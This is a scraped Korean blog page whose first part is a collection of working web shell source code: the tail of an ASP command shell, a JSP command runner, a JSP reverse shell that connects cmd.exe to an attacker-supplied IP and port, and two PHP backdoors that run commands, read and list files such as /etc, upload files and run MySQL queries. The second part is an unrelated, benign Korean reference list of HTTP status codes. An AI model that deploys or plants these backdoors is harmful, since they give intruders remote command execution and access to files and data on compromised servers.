    <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
    <br>
    <%
    If (IsObject(oFile)) Then
    ' -- Read the output from our command and remove the temp file -- '
    On Error Resume Next
    Response.Write Server.HTMLEncode(oFile.ReadAll)
    oFile.Close
    Call oFileSys.DeleteFile(szTempFile, True)
    End If
    %>
    </BODY>
    </HTML>

    cmdjsp.jsp

    // note that linux = cmd and windows = "cmd.exe /c + cmd"

    <FORM METHOD=GET ACTION='cmdjsp.jsp'>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
    </FORM>

    <%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";

    if(cmd != null) {
    String s = null;
    try {
    Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
    BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while((s = sI.readLine()) != null) {
    output += s;
    }
    }
    catch(IOException e) {
    e.printStackTrace();
    }
    }
    %>

    <pre>
    <%=output %>
    </pre>

    jsp-reverse.jsp

    // backdoor.jsp
    // http://www.security.org.sg/code/jspreverse.html

    <%@
    page import="java.lang.*, java.util.*, java.io.*, java.net.*"
    % >
    <%!
    static class StreamConnector extends Thread
    {
    InputStream is;
    OutputStream os;

    StreamConnector(InputStream is, OutputStream os)
    {
    this.is = is;
    this.os = os;
    }

    public void run()
    {
    BufferedReader isr = null;
    BufferedWriter osw = null;

    try
    {
    isr = new BufferedReader(new InputStreamReader(is));
    osw = new BufferedWriter(new OutputStreamWriter(os));

    char buffer[] = new char[8192];
    int lenRead;

    while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
    {
    osw.write(buffer, 0, lenRead);
    osw.flush();
    }
    }
    catch (Exception ioe)

    try
    {
    if(isr != null) isr.close();
    if(osw != null) osw.close();
    }
    catch (Exception ioe)
    }
    }
    %>

    <h1>JSP Backdoor Reverse Shell</h1>

    <form method="post">
    IP Address
    <input type="text" name="ipaddress" size=30>
    Port
    <input type="text" name="port" size=10>
    <input type="submit" name="Connect" value="Connect">
    </form>
    <p>
    <hr>

    <%
    String ipAddress = request.getParameter("ipaddress");
    String ipPort = request.getParameter("port");

    if(ipAddress != null && ipPort != null)
    {
    Socket sock = null;
    try
    {
    sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());

    Runtime rt = Runtime.getRuntime();
    Process proc = rt.exec("cmd.exe");

    StreamConnector outputConnector =
    new StreamConnector(proc.getInputStream(),
    sock.getOutputStream());

    StreamConnector inputConnector =
    new StreamConnector(sock.getInputStream(),
    proc.getOutputStream());

    outputConnector.start();
    inputConnector.start();
    }
    catch(Exception e)
    }
    %>

    simple_backdoor.php

    <!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

    <?php

    if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
    }

    ?>

    php-backdoor.php

    <?
    // a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombie \\

    ob_implicit_flush();
    if(isset($_REQUEST['f'])){
    $filename=$_REQUEST['f'];
    $file=fopen("$filename","rb");
    fpassthru($file);
    die;
    }
    if(isset($_REQUEST['d'])){
    $d=$_REQUEST['d'];
    echo "<pre>";
    if ($handle = opendir("$d")) {
    echo "<h2>listing of $d</h2>";
    while ($dir = readdir($handle)){
    if (is_dir("$d/$dir")) echo "<a href='$PHP_SELF?d=$d/$dir'><font color=grey>";
    else echo "<a href='$PHP_SELF?f=$d/$dir'><font color=black>";
    echo "$dir\n";
    echo "</font></a>";
    }

    } else echo "opendir() failed";
    closedir($handle);
    die ("<hr>");
    }
    if(isset($_REQUEST['c'])){
    echo "<pre>";
    system($_REQUEST['c']);
    die;
    }
    if(isset($_REQUEST['upload'])){

    if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
    else $dir=$_REQUEST['dir'];
    $fname=$HTTP_POST_FILES['file_name']['name'];
    if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
    die('file uploading error.');
    }
    if(isset($_REQUEST['mquery'])){

    $host=$_REQUEST['host'];
    $usr=$_REQUEST['usr'];
    $passwd=$_REQUEST['passwd'];
    $db=$_REQUEST['db'];
    $mquery=$_REQUEST['mquery'];
    mysql_connect("$host", "$usr", "$passwd") or
    die("Could not connect: " . mysql_error());
    mysql_select_db("$db");
    $result = mysql_query("$mquery");
    if($result!=FALSE) echo "<pre><h2>query was executed correctly</h2>\n";
    while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);
    mysql_free_result($result);
    die;
    }
    ?>
    <pre><form action="<? echo $PHP_SELF; ?>" METHOD=GET >execute command: <input type="text" name="c"><input type="submit" value="go"><hr></form>
    <form enctype="multipart/form-data" action="<?php echo $PHP_SELF; ?>" method="post"><input type="hidden" name="MAX_FILE_SIZE" value="1000000000">
    upload file:<input name="file_name" type="file"> to dir: <input type="text" name="dir">   <input type="submit" name="upload" value="upload"></form>
    <hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here]
    <br>for example:
    http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix
    or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win
    <hr>execute mysql query:
    <form action="<? echo $PHP_SELF; ?>" METHOD=GET >
    host:<input type="text" name="host"value="localhost"> user: <input type="text" name="usr" value=root> password: <input type="text" name="passwd">

    database: <input type="text" name="db"> query: <input type="text" name="mquery"> <input type="submit" value="execute">
    </form>

    'gravity-free > webshell' 카테고리의 다른 글

    webshell.io  (0) 2014.12.19
    webshell pt2  (0) 2011.07.19
    webShell site  (0) 2010.08.29
    :

    상태-응답 코드 나열

    gravity-free/response-numbers 2010. 4. 8. 14:58

    상태 코드 

     위에서 언급한 서버의 응답에서 요청한 상태를 표시하는 세자리 숫자와 상태를 설명하는 짧은 문구를 포함하는 것을 다음과 같이 나눌 수 있다.

    코드 범위 

    응답의 의미 

    100 ~ 199

    200 ~ 299

    300 ~ 399

    400 ~ 499

    500 ~ 599

    정보 

    클라이언트의 요청이 성공적이다.

    다른 동작이 더 필요해 클라이언트의 요청을 리다이렉트 했다.

    클라이언트의 요청이 불완전하다.

    서버오류 

     

    100 ~199 정보 응답 

    100 Continue

    요청된 초기 부분은 접수되었고 클라이언트는 계속해서 요청할 수 있다.

    101 Switching Protocols

    서버는 Upgrade 헤더 필드에 명시된 프로토콜로 교환하기 위한 클라이언트 요청에 따르고 있다.

     

    200~299 클라이언트 요청의 성공 응답 

    200-299의 범위에 있는 응답은 클라이언트의 요청이 성공적이었다는 것을 의미한다.

    200 OK

    클라이언트의요청이성공적이였으며서버는요청한데이터를포함하여응답한다.

    201 Created

    이 상태 코드는 새로운 URI가 만들어질 때마다 사용된다결과 코드와 함께 새로운 데이터가 위치한 곳을 지정하기 위해 Location 헤더가 서버에 의해 주어진다.

    202 Accepted

    요청은 받아들여 졌지만 즉시 실행되지는 않는다트랜잭션에 대한 심층 정보가 서버 응답의 엔티티 몸체에서 주어지기도 한다.주의할 점은 요청이 정당한 것처럼 보였을 수도 있지만 서버가 요청을 실제로 승인하리라는 보장은 없다는 것이다.

    203 Non-Authoritative Information

    엔티티 헤더에 있는 정보는 원래 서버가 아니라 로컬이나 다른 서버로부터 온다.

    204 No Content

    이 코드는 응답할 때 주어지는 헤더이다그러나 응답된 실제 내용은 없다는 뜻이다이런 응답을 받는 이유는 웹 브라우저가 문서를 보기 위해 갱신을 하지 않았기 때문이다이미지맵에서 클라이언트가 이미지의 영역 중 사용하지 않거나 공백인 부분을 클릭했을 때를 처리할 때 유용하다.

    205 Reset Content

    웹 브라우저가 추가적인 입력을 위해 사용된 트랜잭션을 지우는 것이다. CGI 애플리케이션에서 데이터를 입력받을 때 적합하다.

    206 Partial Content

    서버가 요청된 크기의 부분 데이터를 반환하고 있다. Range 헤더 지정 요청에 응답하는 데 이용된다서버는 반드시 Content-Range 헤더와 응답에 포함된 범위를 지정해야 한다.

     

    300~399 리다이렉션 

    300~399 범위에 있는 응답 코드는 요청이 수행되지 않았다는 것을 나타내며클라이언트는 요청을 성공시키기 위해 다른 행위가 필요하다는 것을 나타낸다.

    300 Multiple Choices

    요청된 URI는 하나 이상의 리소스를 참조한다예를 들면, URI는 여러 개의 언어로 변환된 문서를 참조할 수 있다서버에 의해 반환된 엔티티 몸체는 올바른 리소스를선택하는 방법에 대한좀 더 특정한 데이터의 목록을 가지고 있을수 있다.

    301 Moved Permanently

    요청된 URI는 더 이상 사용되지 않으며 요청에서 지정한 연산은 수행되지 않았다요청된 문서를 위한 새로운 위치는 Location 헤더에 명시한다앞으로 요청될 모든 문서는 새로운 URI를 사용할 것이다.

    302 Found

    요청된 URI는 일시적으로 새로운 URI를 가진다. Location 헤더는 새로운 장소를 가리킨다만일 이것이 GET이나 HEAD 메소드에 대한 응답이라면 클라이언트는 응답을 받자마자 요청을 해결하기 위해 새로운 URI를 사용해야 한다.

    303 See Other

    요청된 URI는 다른 URI(Location 헤더에 명시한)에서 찾을 수 있으며리소스는 GET 메소드로 구할 수 있다.

    304 Not Modified

    이것은 If-Modified-Since 헤더에 대한 응답 코드로써 지정한 날짜 이래로 수정되지 않았다엔티티 몸체는 보내지 않으며클라이언트는 자신의 로컬 사본을 사용해야 한다.

    305 Use Proxy

    요청된 URI Location 헤더에 있는 프록시를 통해서만 접근할 수 있다.

    307 Temporary Redirect

    요청된 URI가 일시적으로 옮겨졌다. Location 헤더가 새로운 장소를 가리킨다이 상태 코드를 받는 즉시클라이언트는 요청을 해결하기 위해 새로운 URI를 사용해야 하지만앞으로 모든 요청들은 이전의 URI를 사용할 것이다.

     

    400~499 클라이언트 요청의 불안전 응답 

    400~499 범위에 있는 응답 코드는 클라이언트의 요청이 불안전하며클라이언트가 요청을 성공시키려면 다른 정보가 필요하다는 것을 나타낸다.

    400 Bad Request

    이 응답 코드는 클라이언트의 요청에 문법적인 오류가 있는 것을 서버가 알아냈다는 것을 의미한다.

    401 Unauthorized

    이 결과 코드는 WWW-Authenticate 헤더와 함께 그 요청에 적당한 권한이 부족했다는 것을 나타내기 위해 주어지며이 URI를 다시 요구하면 클라이언트는 적당한 권한으로 접속해야 한다.

    402 Payment Required

    이 코드는 아직 HTTP로 구현되지 않았다하지만 언젠가는 서버의 문서를 받아 보기 위해 지불이 필요하다는 것을 나타낸다.

    403 Forbidden

    이 요청은 서버가 클라이언트를 가리키고 싶어하지 않아(또는 아무 이유 없이거부되었다.

    404 Not Found

    지정한 URI에 문서가 존재하지 않는다.

    405 Method Not Allowed

    이 코드는 Allow 헤더와 함께 클라이언트가 사용한 메소드가 이 URI에 대해 지원되지 않는다는 의미이다.

    406 Not Acceptable

    클라이언트가 지정한 URI는 존재하지만 클라이언트가 원하는 형식이 아니다이 코드와 함께 서버는 Content-Language, Content-Encoding, 그리고 Content-Type 헤더를 제공한다.

    407 Proxy Authentication Required

    프록시 서버는 요청된 문서를 보여주기 전에 권한을 필요로 한다. Proxy-Authenticate헤더와 함께 사용한다.

    408 Request Time-out

    이 응답 코드는 클라이언트의 모든 요청이 지정한 시간(일반적으로 서버의 구성할때 명시한다동안 처리되지 않았음을 뜻하며서버는 네트워크 연결을 끊는다.

    409 Conflict

    이 코드는 다른 요청이나 서버의 구성과 충돌이 있음을 나타낸다충돌에대한 정보는 응답되는 데이터의 일부로 반환된다.

    410 Gone

    이 코드는 요청된 URI가 더 이상 존재하지 않고서버에서 완전히 사라졌음을 나타낸다.

    411 Length Required

    서버는Content-Length 헤더가 없는 요청을 받아들이지 않는다.

    412 Precondition Failed

    하나 이상의 If…헤더에 의해 명시된 조건에 의해 요청을 평가하여 false 값을 가지는 경우이다.

    413 Request Entity Too Large

    서버는 실제 본문이 너무 커서 요청을 처리할 수 없다.

    414 Request-URI Too Long

    서버는 요청된 URI가 너무 커서 요청을 처리할 수 없다.

    415 Unsupported Media Type

    서버는 실제 본문이 지원되는 않는 형식이라 처리할 수 없다.

    416 Requested Range Not Satisfiable

    서버는 목표에 대해 어떤 유효한 값도 포함하지 않은 Range 헤더를 찾아냈다가로 If-Range 헤더는 없어졌다.

    417 Expectation Failed

    Expect 헤더에서 명시된 조건은 만족될 수 없다.

     

    500~599서버 오류 

    500~599 범위에 있는 응답 코드는 서버가 오류를 만나거나클라이언트의 요청을 수행할 수 없음을 나타낸다.

    500 Internal Server Error

    이 코드는 서버의 일부(예를 들면, CGI 프로그램)가 멈추었거나 설정에서 오류가 났음을 나타낸다.

    501 Not Implemented

    이 코드는 클라이언트의 요청된 행위가 서버에서 수행할 수 없음을 나타낸다.

    502 Bad Gateway

    이 코드는 서버(또는 프록시)가 다른 서버(또는 프록시)로부터의 응답이 적절하지 않음을 나타낸다.

    503 Service Unavailable

    이 코드는 서비스를 일시적으로 제공할 수 없으나앞으로 복구된다는 의미이다.만일 서버가 복구될 때를 알기 위해서는 Retry-After 헤더도 함께 제공해야 한다.

    504 Gateway Time-out

    이 응답은 게이트웨이나 프록시의 시간이 경과했다는 것만 빼고는 408(Request Time-out)과 같다.

    505 HTTP Version not supported

    서버가 요청에 사용된HTTP 프로토콜 버전을 지원하지 않는다

    :